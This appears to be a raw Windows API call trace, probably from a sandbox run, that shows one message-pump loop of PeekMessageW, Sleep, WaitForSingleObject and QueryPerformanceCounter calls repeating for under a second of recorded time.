[0134.696] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.697] Sleep (dwMilliseconds=0x64) [0134.712] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.712] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723925144) returned 1 [0134.712] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723925295) returned 1 [0134.712] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.713] Sleep (dwMilliseconds=0x64) [0134.727] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.727] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=723977923) returned 1 [0134.727] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=723978075) returned 1 [0134.728] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.728] Sleep (dwMilliseconds=0x64) [0134.743] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.743] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724033817) returned 1 [0134.743] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724034012) returned 1 [0134.744] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.745] Sleep (dwMilliseconds=0x64) [0134.759] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.759] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724086904) returned 1 [0134.759] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724087085) returned 1 [0134.760] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.760] Sleep (dwMilliseconds=0x64) [0134.774] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.774] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724139069) returned 1 [0134.774] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724139252) returned 1 [0134.775] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.775] Sleep (dwMilliseconds=0x64) [0134.789] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724191503) returned 1 [0134.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724191702) returned 1 [0134.790] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.791] Sleep (dwMilliseconds=0x64) [0134.810] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724263064) returned 1 [0134.811] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724263238) returned 1 [0134.811] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.812] Sleep (dwMilliseconds=0x64) [0134.821] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724298187) returned 1 [0134.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724298383) returned 1 [0134.821] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.822] Sleep (dwMilliseconds=0x64) [0134.836] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.836] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724351746) returned 1 [0134.836] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724351945) returned 1 [0134.837] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.838] Sleep (dwMilliseconds=0x64) [0134.854] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.854] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724412524) returned 1 [0134.854] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724412720) returned 1 [0134.855] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.855] Sleep (dwMilliseconds=0x64) [0134.867] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.868] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724458107) returned 1 [0134.868] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724458303) returned 1 [0134.868] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.869] Sleep (dwMilliseconds=0x64) [0134.883] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.883] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724511398) returned 1 [0134.883] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724511594) returned 1 [0134.884] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.884] Sleep (dwMilliseconds=0x64) [0134.899] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.899] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724565220) returned 1 [0134.899] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724565405) returned 1 [0134.899] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.900] Sleep (dwMilliseconds=0x64) [0134.915] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.915] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724622044) returned 1 [0134.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724622227) returned 1 [0134.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.917] Sleep (dwMilliseconds=0x64) [0134.930] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724671410) returned 1 [0134.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724671580) returned 1 [0134.930] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.931] Sleep (dwMilliseconds=0x64) [0134.945] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724724572) returned 1 [0134.946] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724724749) returned 1 [0134.946] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.947] Sleep (dwMilliseconds=0x64) [0134.962] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724780117) returned 1 [0134.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724780287) returned 1 [0134.962] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.963] Sleep (dwMilliseconds=0x64) [0134.977] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.977] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724831551) returned 1 [0134.977] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724831722) returned 1 [0134.977] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.978] Sleep (dwMilliseconds=0x64) [0134.994] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0134.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724890627) returned 1 [0134.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724890845) returned 1 [0134.995] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0134.995] Sleep (dwMilliseconds=0x64) [0135.008] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.008] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724938824) returned 1 [0135.008] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724939023) returned 1 [0135.009] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.009] Sleep (dwMilliseconds=0x64) [0135.025] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=724998361) returned 1 [0135.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=724998558) returned 1 [0135.026] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.027] Sleep (dwMilliseconds=0x64) [0135.039] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.039] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725044644) returned 1 [0135.039] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725044899) returned 1 [0135.040] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.040] Sleep (dwMilliseconds=0x64) [0135.058] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725108393) returned 1 [0135.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725108591) returned 1 [0135.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.059] Sleep (dwMilliseconds=0x64) [0135.071] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.071] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725153578) returned 1 [0135.071] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725153774) returned 1 [0135.072] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.072] Sleep (dwMilliseconds=0x64) [0135.095] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725235983) returned 1 [0135.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725236167) returned 1 [0135.096] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.097] Sleep (dwMilliseconds=0x64) [0135.101] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.101] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725257804) returned 1 [0135.102] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725257987) returned 1 [0135.102] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.103] Sleep (dwMilliseconds=0x64) [0135.118] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725313003) returned 1 [0135.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725313185) returned 1 [0135.118] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.119] Sleep (dwMilliseconds=0x64) [0135.133] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725364533) returned 1 [0135.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725364728) returned 1 [0135.133] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.134] Sleep (dwMilliseconds=0x64) [0135.148] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.148] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725418178) returned 1 [0135.148] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725418374) returned 1 [0135.149] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.150] Sleep (dwMilliseconds=0x64) [0135.164] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.164] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725471149) returned 1 [0135.164] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725471348) returned 1 [0135.165] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.165] Sleep (dwMilliseconds=0x64) [0135.180] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.180] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725526951) returned 1 [0135.180] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725527147) returned 1 [0135.181] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.181] Sleep (dwMilliseconds=0x64) [0135.195] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.195] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725578089) returned 1 [0135.195] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725578294) returned 1 [0135.196] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.196] Sleep (dwMilliseconds=0x64) [0135.211] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.211] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725631512) returned 1 [0135.211] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725631712) returned 1 [0135.211] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.212] Sleep (dwMilliseconds=0x64) [0135.226] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.226] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725684547) returned 1 [0135.226] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725684746) returned 1 [0135.227] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.227] Sleep (dwMilliseconds=0x64) [0135.242] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.242] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725737750) returned 1 [0135.242] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725737946) returned 1 [0135.243] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.243] Sleep (dwMilliseconds=0x64) [0135.257] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725791095) returned 1 [0135.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725791281) returned 1 [0135.258] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.259] Sleep (dwMilliseconds=0x64) [0135.273] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725844673) returned 1 [0135.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725844856) returned 1 [0135.274] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.274] Sleep (dwMilliseconds=0x64) [0135.289] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.289] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725899725) returned 1 [0135.289] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725899908) returned 1 [0135.290] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.290] Sleep (dwMilliseconds=0x64) [0135.304] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=725950994) returned 1 [0135.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=725951179) returned 1 [0135.305] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.305] Sleep (dwMilliseconds=0x64) [0135.320] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726004270) returned 1 [0135.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726004456) returned 1 [0135.320] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.321] Sleep (dwMilliseconds=0x64) [0135.336] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726058225) returned 1 [0135.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726058412) returned 1 [0135.336] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.337] Sleep (dwMilliseconds=0x64) [0135.352] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726114159) returned 1 [0135.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726114357) returned 1 [0135.353] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.353] Sleep (dwMilliseconds=0x64) [0135.367] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.367] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726164392) returned 1 [0135.367] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726164591) returned 1 [0135.367] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.368] Sleep (dwMilliseconds=0x64) [0135.382] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726217702) returned 1 [0135.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726217885) returned 1 [0135.383] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.383] Sleep (dwMilliseconds=0x64) [0135.401] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726282653) returned 1 [0135.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726282833) returned 1 [0135.402] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.402] Sleep (dwMilliseconds=0x64) [0135.414] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.414] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726326988) returned 1 [0135.414] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726327171) returned 1 [0135.415] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.415] Sleep (dwMilliseconds=0x64) [0135.429] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726377628) returned 1 [0135.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726377828) returned 1 [0135.430] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.430] Sleep (dwMilliseconds=0x64) [0135.446] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726436321) returned 1 [0135.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726436518) returned 1 [0135.447] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.447] Sleep (dwMilliseconds=0x64) [0135.460] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.460] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726484576) returned 1 [0135.460] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726484775) returned 1 [0135.461] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.462] Sleep (dwMilliseconds=0x64) [0135.504] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726635121) returned 1 [0135.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726635295) returned 1 